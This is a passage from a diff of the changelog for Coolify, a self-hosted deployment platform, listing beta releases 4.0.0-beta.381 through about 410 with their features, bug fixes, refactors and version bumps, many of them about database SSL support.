+- *(versions)* Bump coolify version to 4.0.0-beta.410 and update nightly version to 4.0.0-beta.411 in configuration files
+- *(templates)* Update plausible and clickhouse images to latest versions and remove mail service
+
+## [4.0.0-beta.409] - 2025-04-16
+
+### 🐛 Bug Fixes
+
+- *(parser)* Transform associative array labels into key=value format for better compatibility
+- *(redis)* Update username and password input handling to clarify database sync requirements
+- *(source)* Update connected source display to handle cases with no source connected
+
+### 🚜 Refactor
+
+- *(source)* Conditionally display connected source and change source options based on private key presence
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Bump coolify version to 4.0.0-beta.409 in configuration files
+
+## [4.0.0-beta.408] - 2025-04-14
+
+### 🚀 Features
+
+- *(OpenApi)* Enhance OpenAPI specifications by adding UUID parameters for application, project, and service updates; improve deployment listing with pagination parameters; update command signature for OpenApi generation
+- *(subscription)* Enhance subscription management with loading states and Stripe status checks
+
+### 🐛 Bug Fixes
+
+- *(pre-commit)* Correct input redirection for /dev/tty and add OpenAPI generation command
+- *(pricing-plans)* Adjust grid class for improved layout consistency in subscription pricing plans
+- *(migrations)* Make stripe_comment field nullable in subscriptions table
+- *(mongodb)* Also apply custom config when SSL is enabled
+- *(templates)* Correct casing of denoKV references in service templates and YAML files
+- *(deployment)* Handle missing destination in deployment process to prevent errors
+
+### 💼 Other
+
+- Add missing openapi items to PrivateKey
+
+### 🚜 Refactor
+
+- *(commands)* Reorganize OpenAPI and Services generation commands into a new namespace for better structure; remove old command files
+- *(Dockerfile)* Remove service generation command from the build process to streamline Dockerfile and improve build efficiency
+- *(navbar-delete-team)* Simplify modal confirmation layout and enhance button styling for better user experience
+- *(Server)* Remove debug logging from isReachableChanged method to clean up code and improve performance
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update nightly version to 4.0.0-beta.410
+- *(pre-commit)* Remove OpenAPI generation command from pre-commit hook
+- *(versions)* Update realtime version to 1.0.7 and bump dependencies in package.json
+
+## [4.0.0-beta.407] - 2025-04-09
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.406] - 2025-04-05
+
+### 🚀 Features
+
+- *(Deploy)* Add info dispatch for proxy check initiation
+- *(EnvironmentVariable)* Add handling for Redis credentials in the environment variable component
+- *(EnvironmentVariable)* Implement protection for critical environment variables and enhance deletion logic
+- *(Application)* Add networkAliases attribute for handling network aliases as JSON or comma-separated values
+- *(GithubApp)* Update default events to include 'pull_request' and streamline event handling
+- *(CleanupDocker)* Add support for realtime image management in Docker cleanup process
+- *(Deployment)* Enhance queue_application_deployment to handle existing deployments and return appropriate status messages
+- *(SourceManagement)* Add functionality to change Git source and display current source in the application settings
+
+### 🐛 Bug Fixes
+
+- *(CheckProxy)* Update port conflict check to ensure accurate grep matching
+- *(CheckProxy)* Refine port conflict detection with improved grep patterns
+- *(CheckProxy)* Enhance port conflict detection by adjusting ss command for better output
+- *(api)* Add back validateDataApplications (#5539)
+- *(CheckProxy, Status)* Prevent proxy checks when force_stop is active; remove debug statement in General
+- *(Status)* Conditionally check proxy status and refresh button based on force_stop state
+- *(General)* Change redis_password property to nullable string
+- *(DeployController)* Update request handling to use input method and enhance OpenAPI description for deployment endpoint
+
+### 💼 Other
+
+- Add missing UUID to openapi spec
+
+### 🚜 Refactor
+
+- *(Server)* Use data_get for safer access to settings properties in isFunctional method
+- *(Application)* Rename network_aliases to custom_network_aliases across the application for clarity and consistency
+- *(ApplicationDeploymentJob)* Streamline environment variable handling by introducing generate_coolify_env_variables method and consolidating logic for pull request and main branch scenarios
+- *(ApplicationDeploymentJob, ApplicationDeploymentQueue)* Improve deployment status handling and log entry management with transaction support
+- *(SourceManagement)* Sort sources by name and improve UI for changing Git source with better error handling
+- *(Email)* Streamline SMTP and resend settings handling in copyFromInstanceSettings method
+- *(Email)* Enhance error handling in SMTP and resend methods by passing context to handleError function
+- *(DynamicConfigurations)* Improve handling of dynamic configuration content by ensuring fallback to empty string when content is null
+- *(ServicesGenerate)* Update command signature from 'services:generate' to 'generate:services' for consistency; update Dockerfile to run service generation during build; update Odoo image version to 18 and add extra addons volume in compose configuration
+- *(Dockerfile)* Streamline RUN commands for improved readability and maintainability by adding line continuations
+- *(Dockerfile)* Reintroduce service generation command in the build process for consistency and ensure proper asset compilation
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Bump version to 406
+- *(versions)* Bump version to 407 and 408 for coolify and nightly
+- *(versions)* Bump version to 408 for coolify and 409 for nightly
+
+## [4.0.0-beta.405] - 2025-04-04
+
+### 🚀 Features
+
+- *(api)* Update OpenAPI spec for services (#5448)
+- *(proxy)* Enhance proxy handling and port conflict detection
+
+### 🐛 Bug Fixes
+
+- *(api)* Used ssh keys can be deleted
+- *(email)* Transactional emails not sending
+
+### 🚜 Refactor
+
+- *(CheckProxy)* Replace 'which' with 'command -v' for command availability checks
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Bump version to 406
+- *(versions)* Bump version to 407
+
+## [4.0.0-beta.404] - 2025-04-03
+
+### 🚀 Features
+
+- *(lang)* Added Azerbaijani language updated turkish language. (#5497)
+- *(lang)* Added Portuguese from Brazil language (#5500)
+- *(lang)* Add Indonesian language translations (#5513)
+
+### 🐛 Bug Fixes
+
+- *(docs)* Comment out execute for now
+- *(installation)* Mount the docker config
+- *(installation)* Path to config file for docker login
+- *(service)* Add health check to Bugsink service (#5512)
+- *(email)* Emails are not sent in multiple cases
+- *(deployments)* Use graceful shutdown instead of `rm`
+- *(docs)* Contribute service url (#5517)
+- *(proxy)* Proxy restart does not work on domain
+- *(ui)* Only show copy button on https
+- *(database)* Custom config for MongoDB (#5471)
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(service)* Remove unused code in Bugsink service
+- *(versions)* Update version to 404
+- *(versions)* Bump version to 403 (#5520)
+- *(versions)* Bump version to 404
+
+## [4.0.0-beta.402] - 2025-04-01
+
+### 🚀 Features
+
+- *(deployments)* Add list application deployments api route
+- *(deploy)* Add pull request ID parameter to deploy endpoint
+- *(api)* Add pull request ID parameter to applications endpoint
+- *(api)* Add endpoints for retrieving application logs and deployments
+- *(lang)* Added Norwegian language (#5280)
+- *(dep)* Bump all dependencies
+
+### 🐛 Bug Fixes
+
+- Only get apps for the current team
+- *(DeployController)* Cast 'pr' query parameter to integer
+- *(deploy)* Validate team ID before deployment
+- *(wakapi)* Typo in env variables and add some useful variables to wakapi.yaml (#5424)
+- *(ui)* Instance Backup settings
+
+### 🚜 Refactor
+
+- *(dev)* Remove OpenAPI generation functionality
+- *(migration)* Enhance local file volumes migration with logging
+
+### ⚙️ Miscellaneous Tasks
+
+- *(service)* Update minecraft service ENVs
+- *(service)* Add more vars to infisical.yaml (#5418)
+- *(service)* Add google variables to plausible.yaml (#5429)
+- *(service)* Update authentik.yaml versions (#5373)
+- *(core)* Remove redocs
+- *(versions)* Update coolify version numbers to 4.0.0-beta.403 and 4.0.0-beta.404
+
+## [4.0.0-beta.401] - 2025-03-28
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+## [4.0.0-beta.400] - 2025-03-27
+
+### 🚀 Features
+
+- *(database)* Disable MongoDB SSL by default in migration
+- *(database)* Add CA certificate generation for database servers
+- *(application)* Add SPA configuration and update Nginx generation logic
+
+### 🐛 Bug Fixes
+
+- *(file-storage)* Double save on compose volumes
+- *(parser)* Add logging support for applications in services
+
+### 🚜 Refactor
+
+- *(proxy)* Improve port availability checks with multiple methods
+- *(database)* Update MongoDB SSL configuration for improved security
+- *(database)* Enhance SSL configuration handling for various databases
+- *(notifications)* Update Telegram button URL for staging environment
+- *(models)* Remove unnecessary cloud check in isEnabled method
+- *(database)* Streamline event listeners in Redis General component
+- *(database)* Remove redundant database status display in MongoDB view
+- *(database)* Update import statements for Auth in database components
+- *(database)* Require PEM key file for SSL certificate regeneration
+- *(database)* Change MySQL daemon command to MariaDB daemon
+- *(nightly)* Update version numbers and enhance upgrade script
+- *(versions)* Update version numbers for coolify and nightly
+- *(email)* Validate team membership for email recipients
+- *(shared)* Simplify deployment status check logic
+- *(shared)* Add logging for running deployment jobs
+- *(shared)* Enhance job status check to include 'reserved'
+- *(email)* Improve error handling by passing context to handleError
+- *(email)* Streamline email sending logic and improve configuration handling
+- *(email)* Remove unnecessary whitespace in email sending logic
+- *(email)* Allow custom email recipients in email sending logic
+- *(email)* Enhance sender information formatting in email logic
+- *(proxy)* Remove redundant stop call in restart method
+- *(file-storage)* Add loadStorageOnServer method for improved error handling
+- *(docker)* Parse and sanitize YAML compose file before encoding
+- *(file-storage)* Improve layout and structure of input fields
+- *(email)* Update label for test email recipient input
+- *(database-backup)* Remove existing Docker container before backup upload
+- *(database)* Improve decryption and deduplication of local file volumes
+- *(database)* Remove debug output from volume update process
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update version numbers for coolify and nightly
+
+### ◀️ Revert
+
+- Encrypting mount and fs_path
+
+## [4.0.0-beta.399] - 2025-03-25
+
+### 🚀 Features
+
+- *(service)* Neon
+- *(migration)* Add `ssl_certificates` table and model
+- *(migration)* Add ssl setting to `standalone_postgresqls` table
+- *(ui)* Add ssl settings to Postgres ui
+- *(db)* Add ssl mode to Postgres URLs
+- *(db)* Setup ssl during Postgres start
+- *(migration)* Encrypt local file volumes content and paths
+- *(ssl)* Ssl generation helper
+- *(ssl)* Migrate to `ECC`certificates using `secp521r1`
+- *(ssl)* Improve SSL helper
+- *(ssl)* Add a Coolify CA Certificate to all servers
+- *(seeder)* Call CA SSL seeder in prod and dev
+- *(ssl)* Add Coolify CA Certificate when adding a new server
+- *(installer)* Create CA folder during installation
+- *(ssl)* Improve SSL helper
+- *(ssl)* Use new improved helper for SSL generation
+- *(ui)* Add CA cert UI
+- *(ui)* New copy button component
+- *(ui)* Use new copy button component everywhere
+- *(ui)* Improve server advanced view
+- *(migration)* Add CN and alternative names to DB
+- *(databases)* Add CA SSL crt location to Postgres URLs
+- *(ssl)* Improve ssl generation
+- *(ssl)* Regenerate SSL certs job
+- *(ssl)* Regenerate certificate and valid until UI
+- *(ssl)* Regenerate CA cert and all other certs logic
+- *(ssl)* Add full MySQL SSL Support
+- *(ssl)* Add full MariaDB SSL support
+- *(ssl)* Add `openssl.conf` to configure SSL extension properly
+- *(ssl)* Improve SSL generation and security a lot
+- *(ssl)* Check for SSL renewal twice daily
+- *(ssl)* Add SSL relationships to all DBs
+- Add full SSL support to MongoDB
+- *(ssl)* Fix some issues and improve ssl generation helper
+- *(ssl)* Ability to create `.pem` certs and add `clientAuth` to `extendedKeyUsage`
+- *(ssl)* New modes for MongoDB and get `caCert` and `mountPath` correctly
+- *(ssl)* Full SSL support for Redis
+- New mode implementation for MongoDB
+- *(ssl)* Improve Redis and remove modes
+- Full SSL support for DrangonflyDB
+- SSL notification
+- *(github-source)* Enhance GitHub App configuration with manual and private key support
+- *(ui)* Improve GitHub repository selection and styling
+- *(database)* Implement two-step confirmation for database deletion
+- *(assets)* Add new SVG logo for Coolify
+- *(install)* Enhance Docker address pool configuration and validation
+- *(install)* Improve Docker address pool management and service restart logic
+- *(install)* Add missing env variable to install script
+- *(LocalFileVolume)* Add binary file detection and update UI logic
+- *(templates)* Change glance for v0.7
+- *(templates)* Add Freescout service template
+- *(service)* Add Evolution API template
+- *(service)* Add evolution-api and neon-ws-proxy templates
+- *(svg)* Add coolify and evolution-api SVG logos
+- *(api)* Add api to create custom services
+- *(api)* Separate create and one-click routes
+- *(api)* Update Services api routes and handlers
+- *(api)* Unify service creation endpoint and enhance validation
+- *(notifications)* Add discord ping functionality and settings
+- *(user)* Implement session deletion on password reset
+- *(github)* Enhance repository loading and validation in applications
+
+### 🐛 Bug Fixes
+
+- *(api)* Docker compose based apps creationg through api
+- *(database)* Improve database type detection for Supabase Postgres images
+- *(ssl)* Permission of ssl crt and key inside the container
+- *(ui)* Make sure file mounts do not showing the encrypted values
+- *(ssl)* Make default ssl mode require not verify-full as it does not need a ca cert
+- *(ui)* Select component should not always uses title case
+- *(db)* SSL certificates table and model
+- *(migration)* Ssl certificates table
+- *(databases)* Fix database name users new `uuid` instead of DB one
+- *(database)* Fix volume and file mounts and naming
+- *(migration)* Store subjectAlternativeNames as a json array in the db
+- *(ssl)* Make sure the subjectAlternativeNames are unique and stored correctly
+- *(ui)* Certificate expiration data is null before starting the DB
+- *(deletion)* Fix DB deletion
+- *(ssl)* Improve SSL cert file mounts
+- *(ssl)* Always create ca crt on disk even if it is already there
+- *(ssl)* Use mountPath parameter not a hardcoded path
+- *(ssl)* Use 1 instead of on for mysql
+- *(ssl)* Do not remove SSL directory
+- *(ssl)* Wrong ssl cert is loaded to the server and UI error when regenerating SSL
+- *(ssl)* Make sure when regenerating the CA cert it is not overwritten with a server cert
+- *(ssl)* Regenerating certs for a specific DB
+- *(ssl)* Fix MariaDB and MySQL need CA cert
+- *(ssl)* Add mount path to DB to fix regeneration of certs
+- *(ssl)* Fix SSL regeneration to sign with CA cert and use mount path
+- *(ssl)* Get caCert correctly
+- *(ssl)* Remove caCert even if it is a folder by accident
+- *(ssl)* Ger caCert and `mountPath` correctly
+- *(ui)* Only show Regenerate SSL Certificates button when there is a cert
+- *(ssl)* Server id
+- *(ssl)* When regenerating SSL certs the cert is not singed with the new CN
+- *(ssl)* Adjust ca paths for MySQL
+- *(ssl)* Remove mode selection for MariaDB as it is not supported
+- *(ssl)* Permission issue with MariDB cert and key and paths
+- *(ssl)* Rename Redis mode to verify-ca as it is not verify-full
+- *(ui)* Remove unused mode for MongoDB
+- *(ssl)* KeyDB port and caCert args are missing
+- *(ui)* Enable SSL is not working correctly for KeyDB
+- *(ssl)* Add `--tls` arg to DrangflyDB
+- *(notification)* Always send SSL notifications
+- *(database)* Change default value of enable_ssl to false for multiple tables
+- *(ui)* Correct grammatical error in 404 page
+- *(seeder)* Update GitHub app name in GithubAppSeeder
+- *(plane)* Update APP_RELEASE to v0.25.2 in environment configuration
+- *(domain)* Dispatch refreshStatus event after successful domain update
+- *(database)* Correct container name generation for service databases
+- *(database)* Limit container name length for database proxy
+- *(database)* Handle unsupported database types in StartDatabaseProxy
+- *(database)* Simplify container name generation in StartDatabaseProxy
+- *(install)* Handle potential errors in Docker address pool configuration
+- *(backups)* Retention settings
+- *(redis)* Set default redis_username for new instances
+- *(core)* Improve instantSave logic and error handling
+- *(general)* Correct link to framework specific documentation
+- *(core)* Redirect healthcheck route for dockercompose applications
+- *(api)* Use name from request payload
+- *(issue#4746)* Do not use setGitImportSettings inside of generateGitLsRemoteCommands
+- Correct some spellings
+- *(service)* Replace deprecated credentials env variables on keycloak service
+- *(keycloak)* Update keycloak image version to 26.1
+- *(console)* Handle missing root user in password reset command
+- *(ssl)* Handle missing CA certificate in SSL regeneration job
+- *(copy-button)* Ensure text is safely passed to clipboard
+
+### 💼 Other
+
+- Bump Coolify to 4.0.0-beta.400
+- *(migration)* Add SSL fields to database tables
+- SSL Support for KeyDB
+
+### 🚜 Refactor
+
+- *(ui)* Unhide log toggle in application settings
+- *(nginx)* Streamline default Nginx configuration and improve error handling
+- *(install)* Clean up install script and enhance Docker installation logic
+- *(ScheduledTask)* Clean up code formatting and remove unused import
+- *(app)* Remove unused MagicBar component and related code
+- *(database)* Streamline SSL configuration handling across database types
+- *(application)* Streamline healthcheck parsing from Dockerfile
+- *(notifications)* Standardize getRecipients method signatures
+- *(configuration)* Centralize configuration management in ConfigurationRepository
+- *(docker)* Update image references to use centralized registry URL
+- *(env)* Add centralized registry URL to environment configuration
+- *(storage)* Simplify file storage iteration in Blade template
+- *(models)* Add is_directory attribute to LocalFileVolume model
+- *(modal)* Add ignoreWire attribute to modal-confirmation component
+- *(invite-link)* Adjust layout for better responsiveness in form
+- *(invite-link)* Enhance form layout for improved responsiveness
+- *(network)* Enhance docker network creation with ipv6 fallback
+- *(network)* Check for existing coolify network before creation
+- *(database)* Enhance encryption process for local file volumes
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- *(CONTRIBUTING)* Add note about Laravel Horizon accessibility
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(migration)* Remove unused columns
+- *(ssl)* Improve code in ssl helper
+- *(migration)* Ssl cert and key should not be nullable
+- *(ssl)* Rename CA cert to `coolify-ca.crt` because of conflicts
+- Rename ca crt folder to ssl
+- *(ui)* Improve valid until handling
+- Improve code quality suggested by code rabbit
+- *(supabase)* Update Supabase service template and Postgres image version
+- *(versions)* Update version numbers for coolify and nightly
+
+## [4.0.0-beta.398] - 2025-03-01
+
+### 🚀 Features
+
+- *(billing)* Add Stripe past due subscription status tracking
+- *(ui)* Add past due subscription warning banner
+
+### 🐛 Bug Fixes
+
+- *(billing)* Restrict Stripe subscription status update to 'active' only
+
+### 💼 Other
+
+- Bump Coolify to 4.0.0-beta.398
+
+### 🚜 Refactor
+
+- *(billing)* Enhance Stripe subscription status handling and notifications
+
+## [4.0.0-beta.397] - 2025-02-28
+
+### 🐛 Bug Fixes
+
+- *(billing)* Handle 'past_due' subscription status in Stripe processing
+- *(revert)* Label parsing
+- *(helpers)* Initialize command variable in parseCommandFromMagicEnvVariable
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.396] - 2025-02-28
+
+### 🚀 Features
+
+- *(ui)* Add wire:key to two-step confirmation settings
+- *(database)* Add index to scheduled task executions for improved query performance
+- *(database)* Add index to scheduled database backup executions
+
+### 🐛 Bug Fixes
+
+- *(core)* Production dockerfile
+- *(ui)* Update storage configuration guidance link
+- *(ui)* Set default SMTP encryption to starttls
+- *(notifications)* Correct environment URL path in application notifications
+- *(config)* Update default PostgreSQL host to coolify-db instead of postgres
+- *(docker)* Improve Docker compose file validation process
+- *(ui)* Restrict service retrieval to current team
+- *(core)* Only validate custom compose files
+- *(mail)* Set default mailer to array when not specified
+- *(ui)* Correct redirect routes after task deletion
+- *(core)* Adding a new server should not try to make the default docker network
+- *(core)* Clean up unnecessary files during application image build
+- *(core)* Improve label generation and merging for applications and services
+
+### 💼 Other
+
+- Bump all dependencies (#5216)
+
+### 🚜 Refactor
+
+- *(ui)* Simplify file storage modal confirmations
+- *(notifications)* Improve transactional email settings handling
+- *(scheduled-tasks)* Improve scheduled task creation and management
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- Bump helper and realtime version
+
+## [4.0.0-beta.395] - 2025-02-22
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.394] - 2025-02-17
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.393] - 2025-02-15
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.392] - 2025-02-13
+
+### 🚀 Features
+
+- *(ui)* Add top padding to pricing plans view
+- *(core)* Add error logging and cron parsing to docker/server schedules
+- *(core)* Prevent using servers with existing resources as build servers
+- *(ui)* Add textarea switching option in service compose editor
+
+### 🐛 Bug Fixes
+
+- Pull latest image from registry when using build server
+- *(deployment)* Improve server selection for deployment cancellation
+- *(deployment)* Improve log line rendering and formatting
+- *(s3-storage)* Optimize team admin notification query
+- *(core)* Improve connection testing with dynamic disk configuration for s3 backups
+- *(core)* Update service status refresh event handling
+- *(ui)* Adjust polling intervals for database and service status checks
+- *(service)* Update Fider service template healthcheck command
+- *(core)* Improve server selection error handling in Docker component
+- *(core)* Add server functionality check before dispatching container status
+- *(ui)* Disable sticky scroll in Monaco editor
+- *(ui)* Add literal and multiline env support to services.
+- *(services)* Owncloud docs link
+- *(template)* Remove db-migration step from `infisical.yaml` (#5209)
+- *(service)* Penpot (#5047)
+
+### 🚜 Refactor
+
+- Use pull flag on docker compose up
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- Rollback Coolify version to 4.0.0-beta.392
+- Bump Coolify version to 4.0.0-beta.393
+- Bump Coolify version to 4.0.0-beta.394
+- Bump Coolify version to 4.0.0-beta.395
+- Bump Coolify version to 4.0.0-beta.396
+- *(services)* Update zipline to use new Database env var. (#5210)
+- *(service)* Upgrade authentik service
+- *(service)* Remove unused env from zipline
+
+## [4.0.0-beta.391] - 2025-02-04
+
+### 🚀 Features
+
+- Add application api route
+- Container logs
+- Remove ansi color from log
+- Add lines query parameter
+- *(changelog)* Add git cliff for automatic changelog generation
+- *(workflows)* Improve changelog generation and workflows
+- *(ui)* Add periodic status checking for services
+- *(deployment)* Ensure private key is stored in filesystem before deployment
+- *(slack)* Show message title in notification previews (#5063)
+- *(i18n)* Add Arabic translations (#4991)
+- *(i18n)* Add French translations (#4992)
+- *(services)* Update `service-templates.json`
+
+### 🐛 Bug Fixes
+
+- *(core)* Improve deployment failure Slack notification formatting
+- *(core)* Update Slack notification formatting to use bold correctly
+- *(core)* Enhance Slack deployment success notification formatting
+- *(ui)* Simplify service templates loading logic
+- *(ui)* Align title and add button vertically in various views
+- Handle pullrequest:updated for reliable preview deployments
+- *(ui)* Fix typo on team page (#5105)
+- Cal.com documentation link give 404 (#5070)
+- *(slack)* Notification settings URL in `HighDiskUsage` message (#5071)
+- *(ui)* Correct typo in Storage delete dialog (#5061)
+- *(lang)* Add missing italian translations (#5057)
+- *(service)* Improve duplicati.yaml (#4971)
+- *(service)* Links in homepage service (#5002)
+- *(service)* Added SMTP credentials to getoutline yaml template file (#5011)
+- *(service)* Added `KEY` Variable to Beszel Template (#5021)
+- *(cloudflare-tunnels)* Dead links to docs (#5104)
+- System-wide GitHub apps (#5114)
+
+### 🚜 Refactor
+
+- Simplify service start and restart workflows
+
+### 📚 Documentation
+
+- *(services)* Reword nitropage url and slogan
+- *(readme)* Add Convex to special sponsors section
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(config)* Increase default PHP memory limit to 256M
+- Add openapi response
+- *(workflows)* Make naming more clear and remove unused code
+- Bump Coolify version to 4.0.0-beta.392/393
+- *(ci)* Update changelog generation workflow to target 'next' branch
+- *(ci)* Update changelog generation workflow to target main branch
+
+## [4.0.0-beta.390] - 2025-01-28
+
+### 🚀 Features
+
+- *(template)* Add Open Web UI
+- *(templates)* Add Open Web UI service template
+- *(ui)* Update GitHub source creation advanced section label
+- *(core)* Add dynamic label reset for application settings
+- *(ui)* Conditionally enable advanced application settings based on label readonly status
+- *(env)* Added COOLIFY_RESOURCE_UUID environment variable
+- *(vite)* Add Cloudflare async script and style tag attributes
+- *(meta)* Add comprehensive SEO and social media meta tags
+- *(core)* Add name to default proxy configuration
+
+### 🐛 Bug Fixes
+
+- *(ui)* Update database control UI to check server functionality before displaying actions
+- *(ui)* Typo in upgrade message
+- *(ui)* Cloudflare tunnel configuration should be an info, not a warning
+- *(s3)* DigitalOcean storage buckets do not work
+- *(ui)* Correct typo in container label helper text
+- Disable certain parts if readonly label is turned off
+- Cleanup old scheduled_task_executions
+- Validate cron expression in Scheduled Task update
+- *(core)* Check cron expression on save
+- *(database)* Detect more postgres database image types
+- *(templates)* Update service templates
+- Remove quotes in COOLIFY_CONTAINER_NAME
+- *(templates)* Update Trigger.dev service templates with v3 configuration
+- *(database)* Adjust MongoDB restore command and import view styling
+- *(core)* Improve public repository URL parsing for branch and base directory
+- *(core)* Increase HTTP/2 max concurrent streams to 250 (default)
+- *(ui)* Update docker compose file helper text to clarify repository modification
+- *(ui)* Skip SERVICE_FQDN and SERVICE_URL variables during update
+- *(core)* Stopping database is not disabling db proxy
+- *(core)* Remove --remove-orphans flag from proxy startup command to prevent other proxy deletions (db)
+- *(api)* Domain check when updating domain
+- *(ui)* Always redirect to dashboard after team switch
+- *(backup)* Escape special characters in database backup commands
+
+### 💼 Other
+
+- Trigger.dev templates - wrong key length issue
+- Trigger.dev template - missing ports and wrong env usage
+- Trigger.dev template - fixed otel config
+- Trigger.dev template - fixed otel config
+- Trigger.dev template - fixed port config
+
+### 🚜 Refactor
+
+- *(s3)* Improve S3 bucket endpoint formatting
+- *(vite)* Improve environment variable handling in Vite configuration
+- *(ui)* Simplify GitHub App registration UI and layout
+
+### ⚙️ Miscellaneous Tasks
+
+- *(version)* Bump Coolify version to 4.0.0-beta.391
+
+### ◀️ Revert
+
+- Remove Cloudflare async tag attributes
+
+## [4.0.0-beta.389] - 2025-01-23
+
+### 🚀 Features
+
+- *(docs)* Update tech stack
+- *(terminal)* Show terminal unavailable if the container does not have a shell on the global terminal UI
+- *(ui)* Improve deployment UI
+
+### 🐛 Bug Fixes
+
+- *(service)* Infinite loading and lag with invoiceninja service (#4876)
+- *(service)* Invoiceninja service
+- *(workflows)* `Waiting for changes` label should also be considered and improved messages
+- *(workflows)* Remove tags only if the PR has been merged into the main branch
+- *(terminal)* Terminal shows that it is not available, even though it is
+- *(labels)* Docker labels do not generated correctly
+- *(helper)* Downgrade Nixpacks to v1.29.0
+- *(labels)* Generate labels when they are empty not when they are already generated
+- *(storage)* Hetzner storage buckets not working
+
+### 📚 Documentation
+
+- Add TECH_STACK.md (#4883)
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update coolify versions to v4.0.0-beta.389
+- *(core)* EnvironmentVariable Model now extends BaseModel to remove duplicated code
+- *(versions)* Update coolify versions to v4.0.0-beta.3909
+
+## [4.0.0-beta.388] - 2025-01-22
+
+### 🚀 Features
+
+- *(core)* Add SOURCE_COMMIT variable to build environment in ApplicationDeploymentJob
+- *(service)* Update affine.yaml with AI environment variables (#4918)
+- *(service)* Add new service Flipt (#4875)
+
+### 🐛 Bug Fixes
+
+- *(core)* Update environment variable generation logic in ApplicationDeploymentJob to handle different build packs
+- *(env)* Shared variables can not be updated
+- *(ui)* Metrics stuck in loading state
+- *(ui)* Use `wire:navigate` to navigate to the server settings page
+- *(service)* Plunk API & health check endpoint (#4925)
+
+## [4.0.0-beta.386] - 2025-01-22
+
+### 🐛 Bug Fixes
+
+- *(redis)* Update environment variable keys from standalone_redis_id to resourceable_id
+- *(routes)* Local API docs not available on domain or IP
+- *(routes)* Local API docs not available on domain or IP
+- *(core)* Update application_id references to resourable_id and resourable_type for Nixpacks configuration
+- *(core)* Correct spelling of 'resourable' to 'resourceable' in Nixpacks configuration for ApplicationDeploymentJob
+- *(ui)* Traefik dashboard url not working
+- *(ui)* Proxy status badge flashing during navigation
+
+### 🚜 Refactor
+
+- *(workflows)* Replace jq with PHP script for version retrieval in workflows
+
+### ⚙️ Miscellaneous Tasks
+
+- *(dep)* Bump helper version to 1.0.5
+- *(docker)* Add blank line for readability in Dockerfile
+- *(versions)* Update coolify versions to v4.0.0-beta.388
+- *(versions)* Update coolify versions to v4.0.0-beta.389 and add helper version retrieval script
+
+## [4.0.0-beta.385] - 2025-01-21
+
+### 🚀 Features
+
+- *(core)* Wip version of coolify.json
+
+### 🐛 Bug Fixes
+
+- *(email)* Transactional email sending
+- *(ui)* Add missing save button for new Docker Cleanup page
+- *(ui)* Show preview deployment environment variables
+- *(ui)* Show error on terminal if container has no shell (bash/sh)
+- *(parser)* Resource URL should only be parsed if there is one
+- *(core)* Compose parsing for apps
+
+### ⚙️ Miscellaneous Tasks
+
+- *(dep)* Bump nixpacks version
+- *(dep)* Version++
+
+## [4.0.0-beta.384] - 2025-01-21
+
+### 🐛 Bug Fixes
+
+- *(ui)* Backups link should not redirected to general
+- Envs with special chars during build
+- *(db)* `finished_at` timestamps are not set for existing deployments
+- Load service templates on cloud
+
+## [4.0.0-beta.383] - 2025-01-20
+
+### 🐛 Bug Fixes
+
+- *(service)* Add healthcheck to Cloudflared service (#4859)
+- Remove wire:navigate from import backups
+
+## [4.0.0-beta.382] - 2025-01-17
+
+### 🚀 Features
+
+- Add log file check message in upgrade script for better troubleshooting
+- Add root user details to install script
+
+### 🐛 Bug Fixes
+
+- Create the private key before the server in the prod seeder
+- Update ProductionSeeder to check for private key instead of server's private key
+- *(ui)* Missing underline for docs link in the Swarm section (#4860)
+- *(service)* Change chatwoot service postgres image from `postgres:12` to `pgvector/pgvector:pg12`
+- Docker image parser
+- Add public key attribute to privatekey model
+- Correct service update logic in Docker Compose parser
+- Update CDN URL in install script to point to nightly version
+
+### 🚜 Refactor
+
+- Comment out RootUserSeeder call in ProductionSeeder for clarity
+- Streamline ProductionSeeder by removing debug logs and unnecessary checks, while ensuring essential seeding operations remain intact
+- Remove debug echo statements from Init command to clean up output and improve readability
+
+## [4.0.0-beta.381] - 2025-01-17
+
+### 🚀 Features
+
+- Able to import full db backups for pg/mysql/mariadb
+- Restore backup from server file
+- Docker volume data cloning
+- Move volume data cloning to a Job
+- Volume cloning for ResourceOperations
+- Remote server volume cloning
+- Add horizon server details to queue
+- Enhance horizon:manage command with worker restart check
+- Add is_coolify_host to the server api responses
+- DB migration for Backup retention
+- UI for backup retention settings
+- New global s3 and local backup deletion function
+- Use new backup deletion functions
+- Add calibre-web service
+- Add actual-budget service
+- Add rallly service
+- Template for Gotenberg, a Docker-powered stateless API for PDF files
+- Enhance import command options with additional guidance and improved checkbox label
+- Purify for better sanitization
+- Move docker cleanup to its own tab
+- DB and Model for docker cleanup executions
+- DockerCleanupExecutions relationship
+- DockerCleanupDone event
+- Get command and output for logs from CleanupDocker
+- New sidebar menu and order
+- Docker cleanup executions UI
+- Add execution log to dockerCleanupJob
+- Improve deployment UI
+- Root user envs and seeding
+- Email, username and password validation when they are set via envs
+- Improved error handling and log output
+- Add root user configuration variables to production environment
+
+### 🐛 Bug Fixes
+
+- Compose envs
